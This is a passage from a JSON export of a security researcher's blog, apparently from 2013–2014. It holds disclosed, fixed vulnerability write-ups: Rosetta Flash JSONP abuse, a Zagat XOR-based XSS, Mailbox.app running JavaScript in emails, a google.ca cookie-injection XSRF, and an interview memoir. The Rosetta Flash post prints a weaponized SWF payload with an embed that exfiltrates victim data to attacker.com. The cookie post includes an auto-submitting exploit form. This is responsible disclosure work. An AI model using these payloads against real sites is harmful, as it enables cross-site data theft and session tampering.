2014","externalUrl":null,"permalink":"/posts/adobe-really-fixed-rosetta-flash-today/","section":"Posts","summary":"Adobe pushed a tentative fix for Rosetta Flash in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in the next release, version 14.0.0.145, on July 8, 2014.\n","title":"Adobe fixed Rosetta Flash today","type":"posts"},{"content":"In this blog post I present Rosetta Flash, a tool for converting any SWF file to one composed of only alphanumeric characters in order to abuse JSONP endpoints, making a victim perform arbitrary requests to the domain with the vulnerable endpoint and exfiltrate potentially sensitive data, not limited to JSONP responses, to an attacker-controlled site. This is a XSRF bypassing Same Origin Policy.\nHigh profile Google domains (accounts.google.com, www., books., maps., etc.) and YouTube were vulnerable and have been recently fixed. Twitter, LinkedIn, Yahoo!, eBay, Mail.ru, Flickr, Baidu, Instagram, Tumblr and Olark still have vulnerable JSONP endpoints at the time of writing this blog post (but Adobe pushed a fix in the latest Flash Player, see Mitigations and fix).\nUpdate 2014-08-12: The original fix by Adobe was not enough (CVE-2014-5333 (NIST)). After a month, Adobe released a better fix for Rosetta Flash.\nThis is a well known issue in the infosec community, but so far no public tools for generating arbitrary ASCII-only, or, even better, alphanum only, valid SWF files have been presented. This led websites owners and even big players in the industry to postpone any mitigation until a credible proof of concept was provided.\nSo, that moment has come :) .\nI will present this vulnerability at Hack In The Box: Malaysia this October, and the Rosetta Flash technology will be featured in the next PoC||GTFO release.\nA CVE identifier has been assigned: CVE-2014-4671 (NIST).\nPaper and slides # If you prefer, you can discover the beauty of Rosetta by reading the paper or with a set of comprehensive slides.\nThe attack scenario # To better understand the attack scenario it is important to take into account the combination of three factors:\nWith Flash, a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it, with no crossdomain.xml check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain.\nJSONP, by design, allows an attacker to control the first bytes of the output of an endpoint by specifying the callback parameter in the request URL. Since most JSONP callbacks restrict the allowed charset to [a-zA-Z], _ and ., my tool focuses on this very restrictive charset, but it is general enough to work with different user-specified allowed charsets.\nSWF files can be embedded on an attacker-controlled domain using a Content-Type forcing \u0026lt;object\u0026gt; tag, and will be executed as Flash as long as the content looks like a valid Flash file.\nRosetta Flash leverages zlib, Huffman encoding and ADLER32 checksum bruteforcing to convert any SWF file to another one composed of only alphanumeric characters, so that it can be passed as a JSONP callback and then reflected by the endpoint, effectively hosting the Flash file on the vulnerable domain.\nIn the Rosetta Flash GitHub repository I provide ready-to-be-pasted, universal, weaponized full featured proofs of concept with ActionScript sources.\nBut how does Rosetta Flash really work?\nDetails on Rosetta Flash # Rosetta Flash uses ad-hoc Huffman encoders in order to map non-allowed bytes to allowed ones. Naturally, since we are mapping a wider charset to a more restrictive one, this is not a real compression, but an inflation: we are effectively using Huffman as a Rosetta stone.\nA Flash file can be either uncompressed (magic bytes FWS), zlib-compressed (magic bytes CWS) or LZMA-compressed (magic bytes ZWS).\nFurthermore, Flash parsers are very liberal, and tend to ignore invalid fields. This is very good for us, because we can force it to the characters we prefer.\nzlib header hacking # We need to make sure that the first two bytes of the zlib stream, which is basically a wrapper over DEFLATE, are OK.\nHere is how I did that:\nThere aren\u0026rsquo;t many allowed two-bytes sequences for CMF (Compression Method and flags) + CINFO (malleable) + FLG (including a check bit for CMF and FLG that has to match, preset dictionary (not present), compression level (ignored)).\n0x68 0x43 = hC is allowed and Rosetta Flash always uses this particular sequence.\nADLER32 checksum bruteforcing # As you can see from the SWF header format, the checksum is the trailing part of the zlib stream included in the compressed SWF in output, so it also needs to be alphanumeric. Rosetta Flash appends bytes in a clever way to get an ADLER32 checksum of the original uncompressed SWF that is made of just [a-zA-Z0-9_\\.] characters.\nAn ADLER32 checksum is composed of two 4-bytes rolling sums, S1 and S2, concatenated:\nFor our purposes, both S1 and S2 must have a byte representation that is allowed (i.e., all alphanumeric). The question is: how to find an allowed checksum by manipulating the original uncompressed SWF? Luckily, the SWF file format allows to append arbitrary bytes at the end of the original SWF file: they are ignored. This is gold for us.\nBut what is a clever way to append bytes? I call my approach Sleds + Deltas technique:\nBasically, we can keep adding a high byte sled (of fe, because ff doesn\u0026rsquo;t play so nicely with the Huffman part we\u0026rsquo;ll roll out later) until there is a single byte we can add to make S1 modulo-overflow and become the minimum allowed byte representation, and then we add that delta.\nNow we have a valid S1, and we want to keep it fixed. So we add a NULL bytes sled until S2 modulo-overflows, and we also get a valid S2.\nHuffman magic # Once we have an uncompressed SWF with an alphanumeric checksum and a valid alphanumeric zlib header, it\u0026rsquo;s time to create dynamic Huffman codes that translate everything to [a-zA-Z0-9_\\.] characters. This is currently done with a pretty raw but effective approach that has to be optimized in order to work effectively for larger files. Twist: also the representation of tables, to be embedded in the file, has to satisfy the same charset constraints.\nWe use two different hand-crafted Huffman encoders that make minimum effort in being efficient, but focus on byte alignment and offsets to get bytes to fall into the allowed charset. In order to reduce the inevitable inflation in size, repeat codes (code 16, mapped to 00) are used to produce shorter output which is still alphanumeric.\nFor more detail, feel free to browse the source code in the Rosetta Flash GitHub repository.\nHere is how the output file looks, bit-by-bit:\nWrapping up the output file # We now have everything we need:\nPlease enjoy an alphanumeric rickroll (might no longer work in latest Flash Player, see Mitigations and fix).\nAn universal, weaponized proof of concept # Here is an example written in ActionScript 2 (for the mtasc open source compiler, now replaced by [Haxe]](https://haxe.org/)):\nclass X { static var app : X; function X(mc) { if (_root.url) { var r:LoadVars = new LoadVars(); r.onData = function(src:String) { if (_root.exfiltrate) { var w:LoadVars = new LoadVars(); w.x = src; w.sendAndLoad(_root.exfiltrate, w, \u0026#34;POST\u0026#34;); } } r.load(_root.url, r, \u0026#34;GET\u0026#34;); } } // entry point static function main(mc) { app = new X(mc); } } We compile it to an uncompressed SWF file, and feed it to Rosetta Flash.\nThe alphanumeric output (wrapped, remove newlines) is:\nCWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03 sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnU U5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33 swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsg SkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133 333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33 333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMH bBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnn nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0G DtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAw XHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHt HHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnn nnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFP DHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7C iudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoD HDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciu dIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXt hHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhH HvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNq dIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooo888888880Nj0h The attacker has to simply host this HTML page on his/her domain, together with a crossdomain.xml file in the root that allows external connections from victims, and make the victim load it.\n\u0026lt;object type=\u0026#34;application/x-shockwave-flash\u0026#34; data=\u0026#34;https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZUnnnnnnnn nnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3ww wFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV133 33333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt3 3333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnn nnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtw EpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzA HZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEm IVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciud IbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZO XHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgb HHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLT MwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG 33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUn nnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD 33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnn nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDww Gw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyM IuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnn nnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h\u0026#34; style=\u0026#34;display: none\u0026#34; \u0026gt; \u0026lt;param name=\u0026#34;FlashVars\u0026#34; value=\u0026#34;url=https://vulnerable.com/account/sensitive_content_logged_in \u0026amp;exfiltrate=http://attacker.com/log.php\u0026#34; /\u0026gt; \u0026lt;/object\u0026gt; This universal proof of concept accepts two parameters passed as FlashVars:\nurl — the URL in the same domain of the vulnerable endpoint to which perform a GET request with the victim\u0026rsquo;s cookie.\nexfiltrate — the attacker-controlled URL to which POST a x variable with the exfiltrated data.\nMitigations and fix # Mitigations by Adobe # Due to the sensitivity of this vulnerability, I first disclosed it internally in Google, and then privately to Adobe PSIRT. A few days before releasing the code and publishing this blog post, I also notified Twitter, eBay, Tumblr and Instagram.\nAdobe confirmed they pushed a tentative fix in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in today\u0026rsquo;s release (version 14.0.0.145, released on July 8, 2014).\nIn the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format:\nThese updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).\nAdobe released a better fix on August 12, 2014, an even better one on June 09, 2015 and finally a probably-good-for-real one on September 21, 2015.\nMitigations by website owners # First of all, it is important to avoid using JSONP on sensitive domains, and if possible use a dedicated sandbox domain.\nA mitigation is to make endpoints return the HTTP header Content-Disposition: attachment; filename=f.txt, forcing a file download. This is enough for instructing Flash Player not to run the SWF starting from Adobe Flash 10.2.\nTo be also protected from content sniffing attacks, prepend the reflected callback with /**/. This is exactly what Google, Facebook and GitHub are currently doing.\nFurthermore, to hinder this attack vector in most modern browsers you can also return the HTTP header X-Content-Type-Options: nosniff. If the JSONP endpoint returns a Content-Type which is not application/x-shockwave-flash (usually application/javascript or application/json), Flash Player will refuse to execute the SWF.\nAcknowledgment and impact # Thanks to Gábor Molnár, who worked on ascii-zip, source of inspiration for the Huffman part of Rosetta. I learn talking with him in private that we worked independently on the same problem. He privately came up with a single instance of an ASCII SWF approximately one month before I finished the whole Rosetta Flash internally at Google in May and reported it to HackerOne only.\nTo protect themselves, most JSONP endpoints on the web now modified their response to prefix something, such as an empty JS comment. Several frameworks (Ruby on Rails, Rack, Symfony, Express.js, Node.js, hapi.js, Scalatra, see all Rosetta Flash-related code on GitHub\u0026hellip;) patched their JSONP logic. Rapid7 incorporated the exfiltrating PoC in an official Metasploit module. The Wikipedia page for JSONP has a Rosetta Flash paragraph. Three CVEs have been assigned: CVE-2014-4671 for the vulnerability itself and CVE-2014-5333 + CVE-2015-3096 + CVE-2015-5571 for mitigation bypasses (one authored by me, the rest by Tomáš Polešovský and Ben Hayak.\nPresented at major conferences (HITB, OWASP AppSec), it won an Internet Bug Bounty, was nominated for a Pwnie Award and appears in Whitesec Top vulnerabilities of 2014.\n","date":"July 8, 2014","externalUrl":null,"permalink":"/posts/abusing-jsonp-with-rosetta-flash/","section":"Posts","summary":"In this blog post I present Rosetta Flash, a tool for converting any SWF file to one composed of only alphanumeric characters in order to abuse JSONP endpoints, making a victim perform arbitrary requests to the domain with the vulnerable endpoint and exfiltrate potentially sensitive data, not limited to JSONP responses, to an attacker-controlled site. This is a XSRF bypassing Same Origin Policy.\n","title":"Abusing JSONP with Rosetta Flash","type":"posts"},{"content":"This is a very interesting vulnerability I internally reported, and is now fixed. I find it interesting because it is not the usual XSS, but it exploits a XOR-based obfuscation algorithm of a user-controlled input.\nSteps to reproduce # Go to http://www.zagat.com/newsletters/process?email=A2d5QgFwUzZRclE%2BVXcAcQ8wV2JQbF02BnACIQ0gBTUOPgxuAiUDZAJiAGkAdlZ%2BATNQOVRpDmAEbF1sfAVwQgMoASUDZQwqDDoPflB2NQEDRlA2AS1TNlFvUTo=\nalert(document.cookie) was executed directly.\nDetails of the vulnerability # Zagat uses a XOR and position-based obfuscation for passing the email address that is then output to a HTML page on the same domain as a confirmation.\nI reverse-engineered the obfuscation function, by exploiting the fact that passing 128 NULL ( \\0 ) characters base64 encoded (http://www.zagat.com/newsletters/process?email=AAAA ... A=) to the above URL outputs the repeating 20-chars long encryption key ;) - old trick - XOR with NULL reveals the key.\nKnowing that, I found out that there was another step, likely dependent on the difference between chars in the string. Using a clever bruteforce script, also thanks to collisions (several chars in email collided to the same output char), it is possible to make it output arbitrary HTML (and thus JS) to the page, without any user interaction.\nScreenshots # This vulnerability was fixed in a matter of days, and now a proper protection is in place.\n","date":"February 16, 2014","externalUrl":null,"permalink":"/posts/xss-in-zagat-xor/","section":"Posts","summary":"This is a very interesting vulnerability I internally reported, and is now fixed. I find it interesting because it is not the usual XSS, but it exploits a XOR-based obfuscation algorithm of a user-controlled input.\n","title":"XSS in Zagat, exploiting a XOR-based obfuscation algorithm","type":"posts"},{"content":"Mailbox.app is a free email management application for iOS that offers very cool features to achieve Inbox Zero.\nMailbox.app up to version 1.6.2 (current version at date, Sept. 25 2013) executes any Javascript which is present in the body of HTML emails.\nThis is bad for security and privacy, because it allows advanced spam techniques, tracking of user actions, hijacking the user by just opening an email, and potentially much worse things, especially for jailbroken devices. The app also loads external images without offering an option to disable this behavior.\nIn the following short video I demonstrate some use cases of the Javascript execution vulnerability on iOS. Proof of concepts are intentionally innocuous, such as opening apps (Music, Photos, Videos\u0026hellip;), Facebook profiles, tweeting and texting an arbitrary number (user confirmation needed). Even if the JS code runs in a sandboxed environment and it is short-lived, this is not a good thing.\nUpdate 2013-09-25 20:00 CEST: It has come to my knowledge that the problem had been previously reported via Twitter to Mailbox on May 30, 2013 by @bp_.\nUpdate 2013-09-25 20:11 CEST: About 90 minutes after Ars Technica published this, Mailbox.app representatives acknowledged the bug but downplayed the severity of attacks that might exploit it. A spokeswoman said a patch would most likely be available before the end of Wednesday.\nUpdate 2013-09-26 09:00 CEST: Mailbox published this statement on their blog. They state:\nToday we implemented a process that strips javascript from messages before delivering them to mobile devices. This feature is now live on Mailbox servers and filtering new mail. This will be particularly important as we develop for other platforms, where javascript vulnerabilities could be more of an issue.\nAs always, thanks for joining us on the road to build the world’s best inbox.\nWhile I verified that they now strip some Javascript and no longer load external images, I quickly found a way to bypass it, and Javascript is currently still executed without any user interaction. I will not publicly disclose details - I privately reported details to Mailbox.app and am waiting for a reply. Update: now fixed.\nUpdate 2013-09-26 10:20 CEST: I posted a comment on Ars Technica expressing my opinion on the impact of this vulnerability:\nFirst of all I would like to thank Dan for the article, and the Ars community for such a great reaction. I really like this kind of informed and civilized discussions, and am considering to join the community for the near future.\nIn my original report, now updated, I didn\u0026rsquo;t mean to sound \u0026ldquo;sensational\u0026rdquo; at all, and I personally do not think this article is \u0026ldquo;sensational\u0026rdquo; either.\nI just highlighted that Mailbox.app blindly executes Javascript in HTML email bodies, and that this is bad, especially for jailbroken devices. I am perfectly aware of the fact vanilla iOS sandboxes applications, and that this limits the impact, but this should not excuse the design choice, which is poor from both a privacy and security point of view.\nMailbox.app has gained a considerable user base, and it was not acceptable that it used to load external images without asking the user for permission and, worse, execute Javascript code, which allows even more information leakage.\nFor unjailbroken devices, the sandboxing model, as everything where it comes to security, is not perfect. There is a history of sandbox bypass exploits. It is very likely that a vulnerability that allows malicious attackers to inject actual code using a Javascript vector inside an app to start the attack exists in current iOS versions and will be published in the future. After all, this has happened in the past. I am thinking of Pwn2Own 2010, where Vincenzo Iozzo and Weinmann exploited a vulnerability in MobileSafari to silently transmit the SMS database to a remote server, or the JailbreakMe \u0026ldquo;Saffron\u0026rdquo; exploit, that exploited a FreeType parsing vulnerability in the browser to read/write memory past buffer, bypass all restrictions in place in iOS and ultimately jailbreak the phone. In general, Javascript is used as a convenient tool for heap spraying attacks targeting the browser - I am not an iOS expert (my field is web application security), but I can\u0026rsquo;t see why it should be allowed in a such untrusted channel as email.\nSome commenters say that this is not different from a normal webview or Safari itself.\u0026gt; In my opinion, it is different because while users expect to execute Javascript on a webpage, they do not expect Javascript to be executed by simply opening emails, and emails can be spoofed. I\u0026rsquo;m also not aware of any other major mail app that runs sender-supplied JavaScript included in the body of emails.\nMailbox.app now claims to filter JS server-side before delivering mails to the client.\u0026gt; While I verified that they now strip some Javascript and no longer load external images, I quickly found a way to bypass it, and Javascript is currently still executed without any user interaction. I will not publicly disclose details - I privately reported details to Mailbox.app and am currently waiting for a reply.\nHave a (slightly) safer day!\nUpdate 2013-09-26 17:36 CEST: Mailbox support replied - they are working on a fix for my bypass.\nUpdate 2013-09-27 06:28 CEST: Mailbox support confirms the fix for the bypass.\nThanks again for your email, Michele. We\u0026rsquo;ve updated the servers to also remove object tags.\nWe are continually evolving how Mailbox handles messages, and appreciate you passing on this information.\nThis has been featured on The Guardian, Ars Technica, Gizmodo, Macworld, Lifehacker, iClarified, Graham Cluley, Threatpost, Info Security and more.\nThis vulnerability report raised some debate in the security world about executing Javascript in emails. See this Naked Security post.\n","date":"September 24, 2013","externalUrl":null,"permalink":"/posts/mailboxapp-javascript-execution/","section":"Posts","summary":"Mailbox.app is a free email management application for iOS that offers very cool features to achieve Inbox Zero.\nMailbox.app up to version 1.6.2 (current version at date, Sept. 25 2013) executes any Javascript which is present in the body of HTML emails.\n","title":"Mailbox.app Javascript execution","type":"posts"},{"content":"Interviewing for a technical job is hard, and companies do not interview candidates the same way. In this post, I would like to express my personal feelings about two interviewing processes in particular: Google and Facebook.\nMy experience with Google # My experience with the Google hiring process began in February 2011, when Marion, working in the staffing department at Google Sydney, sent me an email explaining she found my LinkedIn profile interesting and asking if I was interested in an internship in one of Google global offices.\nAt the time I was not interested in an internship, was about to leave for Chicago for my double degree program, so I declined the offer, adding the recruiter on LinkedIn.\nFast-forward to December 2012. I get a mail from Sunil about a Site Reliability Engineering role, but, after a brief phone call, we decided to postpone the thing to the summer.\nIn the summer, however, not a word from him. I try to send him an email, but it bounces. His email address was disabled. He left Google.\nSo I wait some months and contact Marion, who was really kind and helped me in getting in touch with a proper technical recruiter in Zürich, Terry.\nTerry is an awesome recruiter.\nSupportive, clear, helpful and insightful. We had several informal phone calls, and he even suggested me to apply for a different position that he believed would be a better match for my skillset.\nSo, after a review of my profile by the engineers, they asked to setup the first technical telephone interview.\nTelephone interviews # The calls should last 45 minutes, but mine have actually been 50 to 55 minutes longs.\nIn the first one, the interviewer was calling from Zürich, and was a Security Engineer.\nThe interview was completely technical and straight to the point. He asked me several technical questions about security from the beginning, and I really appreciated that, because it made me feel confident and motivated. The questions were logically linked and I could tell that the interviewer was actually enjoying the discussion that arose about different techniques to, for example, overcome the Same Origin Policy (such as CORS and postMessage in the HTML5 Web API).\nNo silly brain teasers, no Fermi questions.\nI was actually expecting some kind of Fermi questions in the first screening interview (questions along the lines of How many gas stations are there in Chicago?) and I\u0026rsquo;ve been told that they actually ask them for different roles, such as Marketing and Sales. They are about breaking down a problem, making reasonable assumptions, and doing a little bit of arithmetic.\nBack to the interview. When there were about 10 minutes left, they ask you to come up with some code in your favorite language to solve a problem. You have to code on a dedicated Google Docs document that they link to you before the call. It\u0026rsquo;s not easy, especially if you use Python or other languages that assign semantics to indentation, but it\u0026rsquo;s still easier than whiteboard coding. And, guess what, that is something you\u0026rsquo;ll have to do if you manage to get to the on-site interview.\nIn the first call I was asked to implement a very popular input sanitization function from scratch. The interviewer was much more interested in following my initial thought process than to read my actual code, and this is a very good thing in my opinion.\nThe second call was really similar, with the interviewer calling from California. It was maybe slightly more focused on handling of scenarios.\nOn-site interviews # After two weeks, Terry sent me an email congratulating me and inviting me to Zürich for an on-site round of interviews. Google pays for every expense, and books an hotel for you to stay overnight. They also offered to book a flight for me, but I preferred to take a train from Milan.\nThe day I had to leave for Zürich I had an university exam in the morning, so I had to quickly jump on the train after that. I arrived in Zürich in the early evening, I walked to the hotel, which was about 3km far from the station, had dinner, and then directly to bed.\nThe next morning, I woke up, had an abundant breakfast and checked out from the hotel.\nI wandered around the city for a while, slowly heading to Google offices.\nZürich is pretty in the morning.\nI arrived to Google offices a full hour early, so had plenty of time to hang around and take photos:\nI also found a parked Google car!\nOk, so, maybe I wait a bit on the benches in front of the building\u0026hellip;\nOk, it\u0026rsquo;s time! Let\u0026rsquo;s walk into it!\nThe office is awesome.\nIt has a different design theme on each floor, massage stations, restaurant-quality food, slides, billiards, aquariums, gondola lifts used as conference rooms, and so on.\nYou can see more photos of the Zürich office.\nThe person at the front desk pointed me to a touchscreen, on which I had to agree to an informal NDA (I won\u0026rsquo;t specify details of the questions I\u0026rsquo;ve been asked) and I had my interviewee badge printed. I remember I had to put my name and my recruiter\u0026rsquo;s, and I thought of trying to inject something there, but I decided to be a good guy :) .\nHere\u0026rsquo;s my badge:\nAfter five minutes, my recruiter came and welcomed me. I was brought directly to my interview room, called Blueberry, and was asked if I needed anything. Everybody there was really kind to me.\nTerry explained what was the schedule of the day, and, in less than ten minutes, I was being interviewed by the first engineer.\nOn-site interviews are more in-depth than the telephone ones. I was asked very precise things about protocols, RFCs and specifications. I can\u0026rsquo;t go into details, but, for example, if you never thought of studying the bit representation of a float number, well, you should.\nThe first two interviews were similar, and I was also presented with snippets of very vulnerable code, and I had to spot all the vulnerabilities I could. They used C, Python and PHP, and expected me to understand and know the security aspects of functions in the standard library of those languages.\nI was also asked to code myself, but nothing too difficult, mostly operations with lists and numbers and string manipulation. The interviewers chose the language this time - for example, I was explicitly asked to use plain C for a string manipulation task.\nQuestions about security were increasingly difficult, and they tried to push my limits, for example by asking things such as the parameters that common functions take or which OS used to use static canaries (yes, it is Windows XP!).\nI was asked to use the whiteboard for drawing things all the time. Don\u0026rsquo;t expect to vaguely hint about Return-oriented programming (ROP) without having to give a concrete example of a gadget chain ;).\nAfter 90 minutes of non-stop interviews, I had a 30 minutes break to eat something and rest. I was reminded I was not being interviewed during that time, and another engineer showed me a lot of features of the office and perks.\nImpressive, indeed. And the desserts are amazing.\nBack to Blueberry, next interview was with two interviewers. One of them was shadowing, as he was learning to become an interviewer himself. He took notes and sometimes commented and took part to the discussion.\nEverything went smooth, I was asked about advanced aspects of SQL injection and other security stuff (sorry for being generic here). No coding assignment this time.\nLast interview was different.\nThe interviewer looked much more interested in assessing my organizational and coding skills (as a software engineer more than a security engineer), so he asked me to draw organization charts, discuss about incident response, the connection with marketing and decision making levels, and, finally, to code routines in a machine language with just one instruction (enough for making the architecture Turing complete).\nI was really exhausted in the end, and I feel I underperformed in the last assignment.\nAfter that, I was accompanied to a micro-kitchen for a refreshment and finally left.\nWrapping up my Google experience # My interview experience with Google has been really awesome, so thank you Google for that! :)\nEverybody has been really kind to me, and the questions have been very challenging and stimulating - I enjoyed every single minute there.\nI could tell that the interviewers were all very smart, stimulating and open to discussion.\nAlso\u0026hellip; good news! I received positive feedback by the hiring committee in exactly two weeks after the on-site interview :).\nFacebook is\u0026hellip; different # A week before the Google on-site interview, I was contacted by the head of Facebook Security in Europe.\nHe convinced me to try their interviewing process too.\nI just got the first screening phone call from them, where an engineer with an incredibly strong accent used CollabEdit to simply paste the text of a coding puzzle, and asked me to solve it. No questions, no introduction, nothing about security. I was really surprised, but I managed to tell him how I would have solved that problem. He agreed with me, but insisted that I actually wrote compiling code it while on the phone.\nI tried to keep explaining my thought process, but he stopped me and insisted on the code. So I started writing some Python code, but I was disappointed by that interviewing technique.\nSo, it\u0026rsquo;s very different. I might have been unlucky - after all, I\u0026rsquo;ve just been interviewed once - but it looks like Facebook is more into hiring coding gurus than engineers.\n","date":"September 18, 2013","externalUrl":null,"permalink":"/posts/google-interview-vs-facebook-interview/","section":"Posts","summary":"Interviewing for a technical job is hard, and companies do not interview candidates the same way. In this post, I would like to express my personal feelings about two interviewing processes in particular: Google and Facebook.\n","title":"My experience with Google interviews and why it is different from Facebook's","type":"posts"},{"content":"Here I present a (reported and fixed) XSRF and Cookie manipulation vulnerability I discovered in google.com, requiring no user interaction. It was possible to set arbitrary cookies and tamper with existing ones.\nSet-Cookie folding # This works on Safari and browsers that support setting multiple cookies within the same Set-Cookie header, a technique called Set-Cookie folding. The behavior is specified in section 4.2.2 of RFC 2109.\nThe RFC says that the Set-Cookie response header comprises the token Set-Cookie:, followed by a comma separated list of one or more cookies.\nRFC 2109 was obsoleted by RFC 2965, which in turn was obsoleted by RFC 6265. The most recent specification does not formally forbid Set-Cookie folding, but some browsers (Chrome included) do not support it.\nSo this exploit works for the rest of them.\nThe bug # The bug is a lack of sanitization of the prefsval parameter, which is used in the response within a Set-Cookie header.\nhttp://www.google.ca/finance/prefs?action=set\u0026amp;prefsgroup=global\u0026amp;prefskey=RV\u0026amp;prefsval=\u0026lt;PAYLOAD\u0026gt;\n\u0026lt;PAYLOAD\u0026gt; allows commas and semicolons, thus allowing injection and cookie manipulation for browsers that allow Set-Cookie folding.\nA proof-of-concept payload could be:\nX;,%20USER_CONTROLLED_COOKIE_NAME=\u0026lt;script\u0026gt;alert('XSS')\u0026lt;/script\u0026gt;;,DUMMY=\nthis sets the first cookie (called SC) to X, terminates it, sets a cookie named USER_CONTROLLED_COOKIE_NAME with content \u0026lt;script\u0026gt;alert('XSS')\u0026lt;/script\u0026gt; (totally unescaped), terminates it, and sets another cookie DUMMY with the rest of the original, legitimate SC cookie.\nIt is also possible to set arbitrary expiration date and path, thus making it valid for google.com/ and not only google.com/finance. No anti-XSRF token was used.\nSteps to reproduce # Let the victim, logged in her Google account, visit this crafted HTML page: \u0026lt;html\u0026gt; \u0026lt;body onload=\u0026#34;document.forms[0].submit()\u0026#34;\u0026gt; \u0026lt;form action=\u0026#34;http://www.google.ca/finance/prefs?action=set\u0026amp;prefsgroup=global \u0026amp;prefskey=RV\u0026amp;prefsval=X;,%20USER_CONTROLLED_COOKIE_NAME=\u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;)\u0026lt;/script\u0026gt;;%20path=/; %20Max-Age=999999999;%20domain=.google.ca;,%20PREF=GOOGLE_COOKIE_CONTENT_CHANGED;%20path=/; %20Max-Age=999999999;%20domain=.google.ca;,DUMMY=\u0026#34; method=\u0026#34;post\u0026#34; \u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; 